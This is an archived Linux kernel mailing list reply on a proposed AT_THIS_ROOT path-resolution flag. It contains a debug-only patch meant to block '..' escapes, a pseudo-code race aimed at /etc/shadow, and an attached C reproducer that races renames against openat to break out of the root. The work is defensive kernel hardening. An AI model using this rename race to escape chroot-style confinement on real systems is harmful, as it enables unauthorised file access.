LKML Archive on lore.kernel.org
 help / color / Atom feed
From: Aleksa Sarai <cyphar@cyphar.com>
To: Jann Horn <jannh@google.com>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>,
	jlayton@kernel.org, Bruce Fields <bfields@fieldses.org>,
	Al Viro <viro@zeniv.linux.org.uk>, Arnd Bergmann <arnd@arndb.de>,
	shuah@kernel.org, David Howells <dhowells@redhat.com>,
	Andy Lutomirski <luto@kernel.org>,
	christian@brauner.io, Tycho Andersen <tycho@tycho.ws>,
	kernel list <linux-kernel@vger.kernel.org>,
	linux-fsdevel@vger.kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	linux-kselftest@vger.kernel.org, dev@opencontainers.org,
	containers@lists.linux-foundation.org,
	Linux API <linux-api@vger.kernel.org>
Subject: Re: [PATCH 2/3] namei: implement AT_THIS_ROOT chroot-like path resolution
Date: Fri, 5 Oct 2018 02:26:11 +1000
Message-ID: <20181004162611.vdlujbdguvagalpt@ryuk> (raw)
In-Reply-To: <CAG48ez30WJhbsro2HOc_DR7V91M+hNFzBP5ogRMZaxbAORvqzg@mail.gmail.com>

[-- Attachment #1.1: Type: text/plain, Size: 5425 bytes --]

On 2018-09-29, Jann Horn <jannh@google.com> wrote:
> You attempt to open "C/../../etc/passwd" under the root "/A/B".
> Something else concurrently moves /A/B/C to /A/C. This can result in
> the following:
> 
> 1. You start the path walk and reach /A/B/C.
> 2. The other process moves /A/B/C to /A/C. Your path walk is now at /A/C.
> 3. Your path walk follows the first ".." up into /A. This is outside
> the process root, but you never actually encountered the process root,
> so you don't notice.
> 4. Your path walk follows the second ".." up to /. Again, this is
> outside the process root, but you don't notice.
> 5. Your path walk walks down to /etc/passwd, and the open completes
> successfully. You now have an fd pointing outside your chroot.

I've been playing with this and I have the following patch, which
according to my testing protects against attacks where ".." skips over
nd->root. It abuses __d_path to figure out if nd->path can be resolved
from nd->root (obviously a proper version of this patch would refactor
__d_path so it could be used like this -- and would not return
-EMULTIHOP).

I've also attached my reproducer. With it, I was seeing fairly constant
breakouts before this patch and after it I didn't see a single breakout
after running it overnight. Obviously this is not conclusive, but I'm
hoping that it can show what my idea for protecting against ".." was.

Does this patch make sense? Or is there something wrong with it that I'm
not seeing?

--8<-------------------------------------------------------------------

There is a fairly easy-to-exploit race condition with chroot(2) (and
thus by extension AT_THIS_ROOT and AT_BENEATH) where a rename(2) of a
path can be used to "skip over" nd->root and thus escape to the
filesystem above nd->root.

  thread1 [attacker]:
    for (;;)
      renameat2(AT_FDCWD, "/a/b/c", AT_FDCWD, "/a/d", RENAME_EXCHANGE);
  thread2 [victim]:
    for (;;)
      openat(dirb, "b/c/../../etc/shadow", O_THISROOT);

With fairly significant regularity, thread2 will resolve to
"/etc/shadow" rather than "/a/b/etc/shadow". With this patch, such cases
will be detected during ".." resolution (which is the weak point of
chroot(2) -- since walking *into* a subdirectory tautologically cannot
result in you walking *outside* nd->root).

The use of __d_path here might seem suspect, however we don't mind if a
path is moved from within the chroot to outside the chroot and we
incorrectly decide it is safe (because at that point we are still within
the set of files which were accessible at the beginning of resolution).
However, we can fail resolution on the next path component if it remains
outside of the root. A path which has always been outside nd->root
during resolution will never be resolveable from nd->root and thus will
always be blocked.

DO NOT MERGE: Currently this code returns -EMULTIHOP in this case,
	      purely as a debugging measure (so that you can see that
	      the protection actually does something). Obviously in the
	      proper patch this will return -EXDEV.

Signed-off-by: Aleksa Sarai <cyphar@cyphar.com>
---
 fs/namei.c | 32 ++++++++++++++++++++++++++++++--
 1 file changed, 30 insertions(+), 2 deletions(-)

diff --git a/fs/namei.c b/fs/namei.c
index 6f995e6de6b1..c8349693d47b 100644
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -53,8 +53,8 @@
  * The new code replaces the old recursive symlink resolution with
  * an iterative one (in case of non-nested symlink chains).  It does
  * this with calls to <fs>_follow_link().
- * As a side effect, dir_namei(), _namei() and follow_link() are now 
- * replaced with a single function lookup_dentry() that can handle all 
+ * As a side effect, dir_namei(), _namei() and follow_link() are now
+ * replaced with a single function lookup_dentry() that can handle all
  * the special cases of the former code.
  *
  * With the new dcache, the pathname is stored at each inode, at least as
@@ -1375,6 +1375,20 @@ static int follow_dotdot_rcu(struct nameidata *nd)
 				return -EXDEV;
 			break;
 		}
+		if (unlikely(nd->flags & (LOOKUP_BENEATH | LOOKUP_CHROOT))) {
+			char *pathbuf, *pathptr;
+
+			pathbuf = kmalloc(PATH_MAX, GFP_ATOMIC);
+			if (!pathbuf)
+				return -ECHILD;
+			pathptr = __d_path(&nd->path, &nd->root, pathbuf, PATH_MAX);
+			kfree(pathbuf);
+			if (IS_ERR_OR_NULL(pathptr)) {
+				if (!pathptr)
+					pathptr = ERR_PTR(-EMULTIHOP);
+				return PTR_ERR(pathptr);
+			}
+		}
 		if (nd->path.dentry != nd->path.mnt->mnt_root) {
 			struct dentry *old = nd->path.dentry;
 			struct dentry *parent = old->d_parent;
@@ -1510,6 +1524,20 @@ static int follow_dotdot(struct nameidata *nd)
 				return -EXDEV;
 			break;
 		}
+		if (unlikely(nd->flags & (LOOKUP_BENEATH | LOOKUP_CHROOT))) {
+			char *pathbuf, *pathptr;
+
+			pathbuf = kmalloc(PATH_MAX, GFP_KERNEL);
+			if (!pathbuf)
+				return -ENOMEM;
+			pathptr = __d_path(&nd->path, &nd->root, pathbuf, PATH_MAX);
+			kfree(pathbuf);
+			if (IS_ERR_OR_NULL(pathptr)) {
+				if (!pathptr)
+					pathptr = ERR_PTR(-EMULTIHOP);
+				return PTR_ERR(pathptr);
+			}
+		}
 		if (nd->path.dentry != nd->path.mnt->mnt_root) {
 			int ret = path_parent_directory(&nd->path);
 			if (ret)
-- 
2.19.0

-- 
Aleksa Sarai
Senior Software Engineer (Containers)
SUSE Linux GmbH
<https://www.cyphar.com/>

[-- Attachment #1.2: rename_attack.c --]
[-- Type: text/x-c, Size: 3172 bytes --]

// SPDX-License-Identifier: GPL-2.0+
/*
 * Author: Aleksa Sarai <cyphar@cyphar.com>
 * Copyright (C) 2018 SUSE LLC.
 */

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <limits.h>
#include <sys/syscall.h>
#include <linux/fs.h>

/* These come from <uapi/asm-generic/linux/fcntl.h> */
#ifndef O_BENEATH
# define O_BENEATH	00040000000
# define O_XDEV		00100000000
# define O_NOPROCLINKS	00200000000
# define O_NOSYMLINKS	01000000000
# define O_THISROOT	02000000000
#endif
#ifndef AT_BENEATH
# define AT_BENEATH		0x8000
# define AT_XDEV		0x10000
# define AT_NO_PROCLINKS	0x20000
# define AT_NO_SYMLINKS		0x40000
# define AT_THIS_ROOT		0x80000
#endif

#define bail(...)							\
	do {								\
		fprintf(stderr, __VA_ARGS__);				\
		fputs("\n", stderr);					\
		exit(1);						\
	} while (0)

int renameat2(int olddirfd, const char *oldpath,
	      int newdirfd, const char *newpath, unsigned int flags)
{
	errno = syscall(__NR_renameat2, olddirfd, oldpath,
					newdirfd, newpath, flags);
	return errno < 0 ? -1 : 0;
}

char *sprint_path(int fd)
{
	char *fdpath = NULL, *fullpath;
	if (asprintf(&fdpath, "/proc/self/fd/%d", fd) < 0)
		return NULL;

	fullpath = malloc(PATH_MAX+1);
	if (!fullpath)
		goto out1;
	memset(fullpath, '\0', PATH_MAX+1);
	if (readlink(fdpath, fullpath, PATH_MAX) < 0)
		goto out2;

	free(fdpath);
	return fullpath;

out2:
	free(fullpath);
out1:
	free(fdpath);
	return NULL;
}

int rename_attacker(int dirfd, char *namea, char *nameb)
{
	for (;;) {
		if (renameat2(dirfd, namea, dirfd, nameb, RENAME_EXCHANGE) < 0)
			fprintf(stderr, "rename a<=>b failed: %m\n");
	}
	return 1;
}

int openat_victim(int dirfd, char *path, unsigned int flags)
{
	char *last_path = NULL;
	int last_errno = 0;

	for (;;) {
		int fd = openat(dirfd, path, flags);
		if (fd < 0) {
			if (errno != last_errno)
				printf("errno=%m\n");
			last_errno = errno;
		} else {
			char *path = sprint_path(fd);
			if (!strcmp(path, "/")) {
				puts("[[ BREAKOUT ]]");
				printf("fd=%d\n", fd);
				for (;;)
					;
			}
			if (!last_path || strcmp(last_path, path)) {
				printf("path=%s\n", path);
				free(last_path);
				last_path = strdup(path);
			}
			free(path);
			close(fd);
		}
	}
	free(last_path);
	return 1;
}

int main(void)
{
	char tmppath[] = "__TEST_rename_attack.XXXXXX";

	if (!mkdtemp(tmppath))
		bail("mkdtemp: %m");

	int tmpfd = openat(AT_FDCWD, tmppath, O_PATH|O_DIRECTORY);
	if (tmpfd < 0)
		bail("open tmppath: %m");

	// Make dira and dirb.
	if (mkdirat(tmpfd, "a", 0755) < 0)
		bail("mkdir dira: %m");
	if (mkdirat(tmpfd, "b", 0755) < 0)
		bail("mkdir dirb: %m");
	if (mkdirat(tmpfd, "a/c", 0755) < 0)
		bail("mkdir dira/c: %m");

	// Open "a".
	int afd = openat(tmpfd, "a", O_PATH|O_DIRECTORY);
	if (afd < 0)
		bail("open dira: %m");

	pid_t child = fork();
	if (child < 0)
		bail("fork child: %m");
	else if (!child)
		return rename_attacker(tmpfd, "a/c", "b");
	else
		return openat_victim(afd, "c/../../../../../../../../../../../../../../../../../../../../../../../../../", O_THISROOT|O_RDONLY);

	return 1;
}

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 833 bytes --]

  parent reply index

Thread overview: 53+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2018-09-29 10:34 [PATCH 0/3] namei: implement various scoping AT_* flags Aleksa Sarai
2018-09-29 10:34 ` [PATCH 1/3] namei: implement O_BENEATH-style " Aleksa Sarai
2018-09-29 14:48   ` Christian Brauner
2018-09-29 15:34     ` Aleksa Sarai
2018-09-30  4:38   ` Aleksa Sarai
2018-10-01 12:28   ` Jann Horn
2018-10-01 13:00     ` Christian Brauner
2018-10-01 16:04       ` Aleksa Sarai
2018-10-04 17:20         ` Christian Brauner
2018-09-29 13:15 ` [PATCH 2/3] namei: implement AT_THIS_ROOT chroot-like path resolution Aleksa Sarai
2018-09-29 13:15   ` [PATCH 3/3] selftests: vfs: add AT_* path resolution tests Aleksa Sarai
2018-09-29 16:35   ` [PATCH 2/3] namei: implement AT_THIS_ROOT chroot-like path resolution Jann Horn
2018-09-29 17:25     ` Andy Lutomirski
2018-10-01  9:46       ` Aleksa Sarai
2018-10-01  5:44     ` Aleksa Sarai
2018-10-01 10:13       ` Jann Horn
2018-10-01 16:18         ` Aleksa Sarai
2018-10-04 17:27           ` Christian Brauner
2018-10-01 10:42       ` Christian Brauner
2018-10-01 11:29         ` Jann Horn
2018-10-01 12:35           ` Christian Brauner
2018-10-01 13:55       ` Bruce Fields
2018-10-01 14:28       ` Andy Lutomirski
2018-10-02  7:32         ` Aleksa Sarai
2018-10-03 22:09           ` Andy Lutomirski
2018-10-06 20:56           ` Florian Weimer
2018-10-06 21:49             ` Christian Brauner
2018-10-01 14:00     ` Christian Brauner
2018-10-04 16:26     ` Aleksa Sarai [this message]
2018-10-04 17:31       ` Christian Brauner
2018-10-04 18:26       ` Jann Horn
2018-10-05 15:07         ` Aleksa Sarai
2018-10-05 15:55           ` Jann Horn
2018-10-06  2:10             ` Aleksa Sarai
2018-10-08 10:50               ` Jann Horn
2018-09-29 14:25 ` [PATCH 0/3] namei: implement various scoping AT_* flags Andy Lutomirski
2018-09-29 15:45   ` Aleksa Sarai
2018-09-29 16:34     ` Andy Lutomirski
2018-09-29 19:44       ` Matthew Wilcox
2018-09-29 14:38 ` Christian Brauner
2018-09-30  4:44   ` Aleksa Sarai
2018-09-30 13:54 ` Alban Crequy
2018-09-30 14:02   ` Christian Brauner
2018-09-30 19:45 ` Mickaël Salaün
2018-09-30 21:46   ` Jann Horn
2018-09-30 22:37     ` Mickaël Salaün
2018-10-01 20:14       ` James Morris
2018-10-01  4:08 ` Dave Chinner
2018-10-01  5:47   ` Aleksa Sarai
2018-10-01  6:14     ` Dave Chinner
2018-10-01 13:28 ` David Laight
2018-10-01 16:15   ` Aleksa Sarai
2018-10-03 13:21     ` David Laight

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20181004162611.vdlujbdguvagalpt@ryuk \
    --to=cyphar@cyphar.com \
    --cc=arnd@arndb.de \
    --cc=bfields@fieldses.org \
    --cc=christian@brauner.io \
    --cc=containers@lists.linux-foundation.org \
    --cc=dev@opencontainers.org \
    --cc=dhowells@redhat.com \
    --cc=ebiederm@xmission.com \
    --cc=jannh@google.com \
    --cc=jlayton@kernel.org \
    --cc=linux-api@vger.kernel.org \
    --cc=linux-arch@vger.kernel.org \
    --cc=linux-fsdevel@vger.kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-kselftest@vger.kernel.org \
    --cc=luto@kernel.org \
    --cc=shuah@kernel.org \
    --cc=tycho@tycho.ws \
    --cc=viro@zeniv.linux.org.uk \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

LKML Archive on lore.kernel.org

Archives are clonable:
	git clone --mirror https://lore.kernel.org/lkml/0 lkml/git/0.git
	git clone --mirror https://lore.kernel.org/lkml/1 lkml/git/1.git
	git clone --mirror https://lore.kernel.org/lkml/2 lkml/git/2.git
	git clone --mirror https://lore.kernel.org/lkml/3 lkml/git/3.git
	git clone --mirror https://lore.kernel.org/lkml/4 lkml/git/4.git
	git clone --mirror https://lore.kernel.org/lkml/5 lkml/git/5.git
	git clone --mirror https://lore.kernel.org/lkml/6 lkml/git/6.git
	git clone --mirror https://lore.kernel.org/lkml/7 lkml/git/7.git
	git clone --mirror https://lore.kernel.org/lkml/8 lkml/git/8.git
	git clone --mirror https://lore.kernel.org/lkml/9 lkml/git/9.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 lkml lkml/ https://lore.kernel.org/lkml \
		linux-kernel@vger.kernel.org
	public-inbox-index lkml

Example config snippet for mirrors

Newsgroup available over NNTP:
	nntp://nntp.lore.kernel.org/org.kernel.vger.linux-kernel


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git